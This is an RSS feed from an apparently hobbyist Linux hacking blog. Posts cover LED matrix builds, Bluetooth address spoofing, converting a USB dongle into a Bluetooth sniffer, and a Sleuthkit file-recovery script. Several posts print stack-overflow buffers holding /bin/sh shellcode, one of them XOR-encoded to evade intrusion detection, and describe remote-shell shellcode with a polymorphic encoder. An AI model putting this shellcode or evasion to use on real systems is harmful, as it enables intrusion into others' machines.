<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>optixx &#187; Hacking</title>
	<atom:link href="http://optixx.org/category/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://optixx.org</link>
	<description>About Linux and Console Hacking</description>
	<lastBuildDate>Mon, 03 May 2010 06:46:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Update on 64&#215;48</title>
		<link>http://optixx.org/2008/12/07/update-on-64x48/</link>
		<comments>http://optixx.org/2008/12/07/update-on-64x48/#comments</comments>
		<pubDate>Sun, 07 Dec 2008 20:53:14 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[ARM]]></category>
		<category><![CDATA[AVR]]></category>
		<category><![CDATA[Console]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://optixx.org/2008/12/07/update-on-64x48/</guid>
		<description><![CDATA[Made some progress. Nice sunday hacking. 
 [...]]]></description>
			<content:encoded><![CDATA[<p>Made some progress. Nice sunday hacking. </p>

<p><a href="http://optixx.org/wp-content/uploads/2008/12/l-640-480-6d042459-f5aa-4d6e-a2f1-1c1e46def8f7.jpeg"><img src="http://optixx.org/wp-content/uploads/2008/12/l-640-480-6d042459-f5aa-4d6e-a2f1-1c1e46def8f7.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a><br /><br /><a href="http://optixx.org/wp-content/uploads/2008/12/l-640-480-8120c295-700d-4b43-9263-14538360ea16.jpeg"><img src="http://optixx.org/wp-content/uploads/2008/12/l-640-480-8120c295-700d-4b43-9263-14538360ea16.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a><br /><br /><a href="http://optixx.org/wp-content/uploads/2008/12/l-640-480-8dd51acd-83e3-4746-a3ce-5bf2edf66d3c.jpeg"><img src="http://optixx.org/wp-content/uploads/2008/12/l-640-480-8dd51acd-83e3-4746-a3ce-5bf2edf66d3c.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a><br /><br /><a href="http://optixx.org/wp-content/uploads/2008/12/l-640-480-321d417e-77bd-4e0b-9afb-4510240d7b31.jpeg"><img src="http://optixx.org/wp-content/uploads/2008/12/l-640-480-321d417e-77bd-4e0b-9afb-4510240d7b31.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a><br /><br /><a href="http://optixx.org/wp-content/uploads/2008/12/l-640-480-c246673a-8f11-4792-b827-c3f81b7cd344.jpeg"><img src="http://optixx.org/wp-content/uploads/2008/12/l-640-480-c246673a-8f11-4792-b827-c3f81b7cd344.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://optixx.org/2008/12/07/update-on-64x48/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Toshiba LED Dot Matrix Double Action</title>
		<link>http://optixx.org/2008/12/01/toshiba-led-dot-matrix-double-action/</link>
		<comments>http://optixx.org/2008/12/01/toshiba-led-dot-matrix-double-action/#comments</comments>
		<pubDate>Mon, 01 Dec 2008 21:06:35 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[ARM]]></category>
		<category><![CDATA[AVR]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://optixx.org/?p=95</guid>
		<description><![CDATA[more to come...

[flash]http://vimeo.com/2399376[/fla [...]]]></description>
			<content:encoded><![CDATA[<p>more to come&#8230;</p>

<p><object type="application/x-shockwave-flash" width="400" height="300" data="http://www.vimeo.com/moogaloop.swf?clip_id=2399376&amp;server=vimeo.com"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=2399376&amp;server=vimeo.com" /><param name="quality" value="high" />Medium: www.vimeo.com</object>
<br />Link: <a href="http://www.vimeo.com/2399376">www.vimeo.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://optixx.org/2008/12/01/toshiba-led-dot-matrix-double-action/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Led Matrix 16&#215;16</title>
		<link>http://optixx.org/2008/11/28/led-matrix-16x16/</link>
		<comments>http://optixx.org/2008/11/28/led-matrix-16x16/#comments</comments>
		<pubDate>Fri, 28 Nov 2008 11:58:44 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[ARM]]></category>
		<category><![CDATA[AVR]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://optixx.org/2008/11/28/led-matrix-16x16/</guid>
		<description><![CDATA[New toy...Thx Max.

Datasheet Toshiba LED Dot Matrix  [...]]]></description>
			<content:encoded><![CDATA[<p>New toy&#8230;Thx Max.</p>

<p><a href="http://optixx.org/download/ledmatrix16x16/DOC081121.pdf">Datasheet Toshiba LED Dot Matrix Modul TLMM 501 B2</a></p>

<p><a href="http://optixx.org/wp-content/uploads/2008/12/p-640-480-dc3cf68c-27f6-4694-ade7-ea6e07a72d4a.jpeg"><img src="http://optixx.org/wp-content/uploads/2008/12/p-640-480-dc3cf68c-27f6-4694-ade7-ea6e07a72d4a.jpeg" alt="" width="225" height="300" class="alignnone size-full wp-image-364" /></a><br /><br /><a href="http://optixx.org/wp-content/uploads/2008/12/p-640-480-7f4511b5-9cea-4ce5-a505-bf4c3703db0e.jpeg"><img src="http://optixx.org/wp-content/uploads/2008/12/p-640-480-7f4511b5-9cea-4ce5-a505-bf4c3703db0e.jpeg" alt="" width="225" height="300" class="alignnone size-full wp-image-364" /></a><br /><br /><a href="http://optixx.org/wp-content/uploads/2008/12/p-640-480-61c9e52f-a6a2-44f1-9742-b7b6cd616852.jpeg"><img src="http://optixx.org/wp-content/uploads/2008/12/p-640-480-61c9e52f-a6a2-44f1-9742-b7b6cd616852.jpeg" alt="" width="225" height="300" class="alignnone size-full wp-image-364" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://optixx.org/2008/11/28/led-matrix-16x16/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spoof BTADDR</title>
		<link>http://optixx.org/2007/04/12/spoof-btaddr/</link>
		<comments>http://optixx.org/2007/04/12/spoof-btaddr/#comments</comments>
		<pubDate>Thu, 12 Apr 2007 10:23:15 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bluetooth]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://optixx.org/2007/04/12/spoof-btaddr/</guid>
		<description><![CDATA[Wrote a quick &#38; dirty python wrapper for the bluez-util [...]]]></description>
			<content:encoded><![CDATA[<p>Wrote a quick &amp; dirty python wrapper for the bluez-utils bccmd command to set a the  btaddr
of an bluetooth hci device. The native bccmd syntax is awkward, so that i found it handy to have a script which accepts normal formated btaddr as an argument and does some error checking and status infomation.</p>

<p>Usage:  </p>

<pre>
root@linux:~/devel/tech/bluetooth/# ./setbtaddr hci0 01:0E:07:75:B7:12
Exec './bccmd  -d hci0 psset -r bdaddr 0x75 0x00 0x12 0xB7 0x07 0x00 0x0E 0x01'
hci0:   Type: USB
        BD Address: 01:0E:07:75:B7:12 ACL MTU: 192:8 SCO MTU: 64:8
        UP RUNNING
        RX bytes:86 acl:0 sco:0 events:9 errors:0
        TX bytes:33 acl:0 sco:0 commands:9 errors:0

</pre>

<p><a href="http://optixx.org/download/setbtaddr">download</a></p>
]]></content:encoded>
			<wfw:commentRss>http://optixx.org/2007/04/12/spoof-btaddr/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>H00lyshit &#8211; DIY Bluetooth Sniffer</title>
		<link>http://optixx.org/2007/04/04/h00lyshit-diy-bluetooth-sniffer/</link>
		<comments>http://optixx.org/2007/04/04/h00lyshit-diy-bluetooth-sniffer/#comments</comments>
		<pubDate>Wed, 04 Apr 2007 21:19:01 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bluetooth]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://optixx.org/2007/04/04/h00lyshit-diy-bluetooth-sniffer/</guid>
		<description><![CDATA[Since the [23c3]( http://events.ccc.de/congress/2006/Ho [...]]]></description>
			<content:encoded><![CDATA[<p>Since the <a href="http://events.ccc.de/congress/2006/Home">23c3</a> every interested researcher knew that is easy to compromise bluetooth sessions using the BTcrack tool.Thierry Zoller showed how it&#8217;s possible to <a href="http://secdev.zoller.lu/research/bluetoothcracker.htm">retrieve</a> link keys, The only problem was to get hands on a  bluetooth sniffer device to get the raw bluetooth packets. Such devices are not available at consumer prices. But somehow Max Moser found a <a href="http://www.remote-exploit.org/research/busting_bluetooth_myth.pdf">way</a> to tranform a vanilla usb bt dongle into a bluetooth sniffer device. Don&#8217;t believe the hype&#8230;Now bluetooth security is dead. </p>

<p>Mini Howto:</p>

<pre>
#Backup old firmware
dfutool -d hci0 archiv backup.dfu
# Backup config
bccmd -d hci0 pslist -s 0x000F >> backup_cfg
# Check Vendor ID ( has to be 0x0a12)
bccmd -d hci0 psget -s 0x000f 0x02be
# Write new Product ID
bccmd -d hci0 psset -s 0x0002 0x02bf 0x0002 
</pre>
]]></content:encoded>
			<wfw:commentRss>http://optixx.org/2007/04/04/h00lyshit-diy-bluetooth-sniffer/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Undelete with Sleuthkit</title>
		<link>http://optixx.org/2006/01/15/undelete-with-sleuthkit/</link>
		<comments>http://optixx.org/2006/01/15/undelete-with-sleuthkit/#comments</comments>
		<pubDate>Sun, 15 Jan 2006 15:35:30 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://optixx.org/2006/01/15/undelete-with-sleuthkit/</guid>
		<description><![CDATA[Wrote a little Bash script using  [Sleuthkit](http://ww [...]]]></description>
			<content:encoded><![CDATA[<p>Wrote a little Bash script using  <a href="http://www.sleuthkit.org/">Sleuthkit</a> tools to recover a deleted file from a partion. Tested the script with ext2 and fat32 filesystems.</p>

<p>Setup a test image:</p>


<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">dd</span>  <span style="color: #007800;"><span style="color: #000000; font-weight: bold;">if</span></span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">of</span>=image  <span style="color: #007800;">bs</span>=1k <span style="color: #007800;">count</span>=<span style="color: #000000;">8192</span>
mkfs.ext2 image
<span style="color: #c20cb9; font-weight: bold;">mount</span> <span style="color: #660033;">-o</span> loop image <span style="color: #000000; font-weight: bold;">/</span>mnt<span style="color: #000000; font-weight: bold;">/</span>image
<span style="color: #c20cb9; font-weight: bold;">cp</span> something <span style="color: #000000; font-weight: bold;">/</span>mnt<span style="color: #000000; font-weight: bold;">/</span>image
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #000000; font-weight: bold;">/</span>mnt<span style="color: #000000; font-weight: bold;">/</span>image<span style="color: #000000; font-weight: bold;">/</span>something
<span style="color: #c20cb9; font-weight: bold;">sync</span>
<span style="color: #c20cb9; font-weight: bold;">umount</span> <span style="color: #000000; font-weight: bold;">/</span>mnt<span style="color: #000000; font-weight: bold;">/</span>image</pre></div></div>


<p>Now you can start the script to find a token of the deleted file:</p>

<p>./find.sh  image &#8220;Test&#8221;</p>

<p>The  Code for find.sh</p>


<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
&nbsp;
<span style="color: #007800;">IMAGE</span>=$<span style="color: #000000;">1</span>
<span style="color: #007800;">TOKEN</span>=$<span style="color: #000000;">2</span>
<span style="color: #007800;">BSIZE</span>=<span style="color: #000000;">1024</span>
<span style="color: #007800;">TYPE</span>=<span style="color: #ff0000;">&quot;linux-ext2&quot;</span>
<span style="color: #007800;">TMP</span>=<span style="color: #ff0000;">&quot;dls_<span style="color: #007800;">$(date +%Y%d%m_%H%M%S)</span>&quot;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$#</span> <span style="color: #660033;">-ne</span> <span style="color: #000000;">2</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000; font-weight: bold;">then</span>
    <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Usage: $0 image token&quot;</span>
    <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #660033;">-1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$IMAGE</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000; font-weight: bold;">then</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Cannot find <span style="color: #007800;">$IMAGE</span>&quot;</span>
  <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #660033;">-1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>  <span style="color: #660033;">-z</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$TOKEN</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000; font-weight: bold;">then</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Pleae give search token&quot;</span>
  <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #660033;">-1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;--------------------------&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Found deleted&quot;</span>
fls <span style="color: #660033;">-f</span> <span style="color: #007800;">$TYPE</span> <span style="color: #660033;">-rd</span> <span style="color: #007800;">$IMAGE</span>
dls <span style="color: #660033;">-f</span> <span style="color: #007800;">$TYPE</span> <span style="color: #007800;">$IMAGE</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #007800;">$TMP</span>
<span style="color: #c20cb9; font-weight: bold;">strings</span> <span style="color: #660033;">-t</span> d <span style="color: #007800;">$TMP</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #007800;">$TMP</span>.str
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;--------------------------&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$TOKEN</span>&quot;</span> <span style="color: #007800;">$TMP</span>.str
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;--------------------------&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-en</span> <span style="color: #ff0000;">&quot;Select Offset:&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> n
<span style="color: #007800;">ADDR</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$TOKEN</span>&quot;</span> <span style="color: #007800;">$TMP</span>.str <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$n</span>&quot;</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #ff0000;">'s/^[ \t]*//'</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">head</span> <span style="color: #660033;">-n</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">&quot; &quot;</span> -f1<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-z</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$ADDR</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000; font-weight: bold;">then</span>
    <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Nothing found for '<span style="color: #007800;">$TOKEN</span>'&quot;</span>
    <span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #660033;">-1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Found <span style="color: #007800;">$ADDR</span>&quot;</span>
<span style="color: #007800;">OFFSET</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$ADDR</span> / <span style="color: #007800;">$BSIZE</span>&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">bc</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Using Offset <span style="color: #007800;">$OFFSET</span>&quot;</span>
<span style="color: #007800;">BLOCK</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span>dcalc <span style="color: #660033;">-f</span> <span style="color: #007800;">$TYPE</span>  <span style="color: #660033;">-u</span> <span style="color: #007800;">$OFFSET</span>  <span style="color: #007800;">$IMAGE</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Using Block <span style="color: #007800;">$BLOCK</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;----------------------------&quot;</span>
dcat <span style="color: #660033;">-f</span> <span style="color: #007800;">$TYPE</span>  <span style="color: #007800;">$IMAGE</span>  <span style="color: #007800;">$BLOCK</span>
<span style="color: #7a0874; font-weight: bold;">echo</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;----------------------------&quot;</span>
<span style="color: #007800;">INODE</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span>ifind <span style="color: #660033;">-f</span> <span style="color: #007800;">$TYPE</span>  <span style="color: #007800;">$IMAGE</span> <span style="color: #660033;">-d</span> <span style="color: #007800;">$BLOCK</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Found Inode <span style="color: #007800;">$INODE</span>&quot;</span>
istat <span style="color: #660033;">-f</span> <span style="color: #007800;">$TYPE</span> <span style="color: #007800;">$IMAGE</span> <span style="color: #007800;">$INODE</span>
<span style="color: #007800;">BLOCKS</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span>istat <span style="color: #660033;">-f</span> <span style="color: #007800;">$TYPE</span> <span style="color: #007800;">$IMAGE</span> <span style="color: #007800;">$INODE</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">tail</span> <span style="color: #660033;">-n</span> <span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;---------------------------&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Found Blocks <span style="color: #007800;">$BLOCKS</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;---------------------------&quot;</span>
<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000; font-weight: bold;">for</span> BLOCK <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$BLOCKS</span>
<span style="color: #000000; font-weight: bold;">do</span>
   dcat <span style="color: #660033;">-f</span> <span style="color: #007800;">$TYPE</span>  <span style="color: #007800;">$IMAGE</span>  <span style="color: #007800;">$BLOCK</span>
<span style="color: #000000; font-weight: bold;">done</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">tee</span> <span style="color: #007800;">$TMP</span>.found
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;---------------------------&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Saved to <span style="color: #007800;">$TMP</span>.found&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;---------------------------&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$TMP</span> <span style="color: #007800;">$TMP</span>.str</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://optixx.org/2006/01/15/undelete-with-sleuthkit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>InlineEgg Shellcode</title>
		<link>http://optixx.org/2006/01/10/inlineegg-shellcode-example/</link>
		<comments>http://optixx.org/2006/01/10/inlineegg-shellcode-example/#comments</comments>
		<pubDate>Tue, 10 Jan 2006 19:11:55 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://optixx.org/2006/01/10/inlineegg-shellcode-example/</guid>
		<description><![CDATA[Made a nice shellcode using the python [inlineEgg](http [...]]]></description>
			<content:encoded><![CDATA[<p>Made a nice shellcode using the python <a href="http://community.corest.com/~gera/ProgrammingPearls/InlineEgg.html">inlineEgg</a> library. The shellcode is designed to  smash the stack  of a programm which is listen on a socket. The read buffer gets overflowed by the shellcode. 
The code was tested an on older SUSE9.0, because current disto use <a href="http://www.gentoo.org/proj/en/hardened/pie-ssp.xml?style=printable=">pie</a> and 
<a href="http://www.research.ibm.com/trl/projects/security/ssp/">ssp</a></p>

<p>Features:</p>

<ul>
<li>Python script that generates the shellcode</li>
<li>Re-uses the listen socket of the victim and connects it to new shell</li>
<li>Scans for correct fd and peername</li>
<li>Embedded Telnet client which connects to created remote shell</li>
<li><p>Encoder to generate polymorph shellcode</p>

<p><a href="http://optixx.org/download/inlineegg_reuse_socket.tar.gz">Download</a></p></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://optixx.org/2006/01/10/inlineegg-shellcode-example/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mkbuffer0.2</title>
		<link>http://optixx.org/2006/01/05/mkbuffer02/</link>
		<comments>http://optixx.org/2006/01/05/mkbuffer02/#comments</comments>
		<pubDate>Thu, 05 Jan 2006 19:55:49 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://optixx.org/2006/01/05/mkbuffer02/</guid>
		<description><![CDATA[Updated my shellcode generation tool. Added shellcode e [...]]]></description>
			<content:encoded><![CDATA[<p>Updated my shellcode generation tool. Added shellcode encryption, to hide from IDS which scan for well known strings in the shellcode, like &#8216;/bin/sh&#8217;. The encryption is quite simple, just add,sub,xor or move by an fixed offset. The tool added also a hook to decode the shellcode before it gets called.</p>

<p>Changelog:</p>

<ul>
<li>Use getopt for command line parsing</li>
<li>Fixed off by one bug in  hex dump output</li>
<li>Added simple shellcode encryption</li>
</ul>

<pre>
<code>
./mkbuffer -m gen -l 256 -c xor -o 2 -f CODE -e CODE
------------------------------------------------------
Start: 0x0x80499a0
End:   0x0x80499c9
Len:   0x0029 (41 bytes)
jump:  0x00000000
------------------------------------------------------
Crypt Shellcode 'xor' offset='2'
------------------------------------------------------
0x0000:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:eb 11 5e 31 c9 b1 36 80 74 0e ff 02 80 e9 01 75
0x0075:f6 eb 05 e8 ea ff ff ff 33 c2 b2 44 33 d9 33 cb
0x00cb:cf 82 e9 12 59 33 c2 8a 41 05 52 51 8b e3 b2 09
0x0009:33 d0 cf 82 ea e9 fd fd fd 2d 60 6b 6c 2d 71 6a
0x006a:5a 92 92 92 57 8b e7 55 54 33 f4 51 ea 8c 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
------------------------------------------------------
Writing Shellcode to 'CODE'
------------------------------------------------------
Starting Subshell
setup env $CODE
------------------------------------------------------

</code>
</pre>

<p><a href="http://optixx.org/download/mkbuffer0.2.tar.gz">Download</a></p>
]]></content:encoded>
			<wfw:commentRss>http://optixx.org/2006/01/05/mkbuffer02/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Shellcode Tool</title>
		<link>http://optixx.org/2005/11/02/shellcode-tool/</link>
		<comments>http://optixx.org/2005/11/02/shellcode-tool/#comments</comments>
		<pubDate>Wed, 02 Nov 2005 21:13:01 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://optixx.org/2005/11/02/shellcode-tool/</guid>
		<description><![CDATA[Inspired by an article in german [Hakin9](http://www.ha [...]]]></description>
			<content:encoded><![CDATA[<p>Inspired by an article in german <a href="http://www.hakin9.org/en/">Hakin9</a> Magazin from October 2005, i wrote a little programm to test and generate shellcode.A good place to learn about buffer overflows is <a href="http://community.corest.com/~juliano/">here</a>.
I found a interesting python framwork called <a href="http://community.corest.com/~gera/ProgrammingPearls/InlineEgg.html">inlinegg</a> for shellcode generating. This make shellcode developing really easy and effective.</p>

<p>My simple tool is used to prepare buffers with shellcode.The actual asm code is done with <a href="nasm.sourceforge.net">nasm</a> and linked a against a gcc main programm. The programm has three modes:  <em>dump, exec</em> and <em>gen</em>.  </p>

<p><strong>Dump</strong> does a hexdump of the plain shellcode, usefull when tracing null bytes.</p>

<p>For testing the functionality of the shellcode you can use <strong>exec</strong> which simple calls the shellcode like function. </p>

<p><strong>Gen</strong> is used to build a buffer with the actual shellcode. The code is hexdumped to stdout, raw code it written to stderr and also the enviroment var <strong>$CODE</strong> is set. 
Also the target buffer size and stack jump address as to be passed to the program. The buffer ist first filled with the jump address and then the first half with NOPs overwritten. The shellcode gets copied to the middle of the buffer.</p>

<pre>
<code>
./mkbuffer gen 256  0x1234567
Start: 0x0x8048bb0
End:   0x0x8048bd9
Len:   0x29 (41 bytes)
jump:  0x1234567
90
0x0000:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0010:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0020:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0030:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0040:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0050:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0060:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0070:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31
0x0080:c0 b0 46 31 db 31 c9 cd 80 eb 10 5b 31 c0 88 43
0x0090:07 50 53 89 e1 b0 0b 31 d2 cd 80 e8 eb ff ff ff
0x00a0:2f 62 69 6e 2f 73 68 58 45 23 01 67 45 23 01 67
0x00b0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00c0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00d0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00e0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
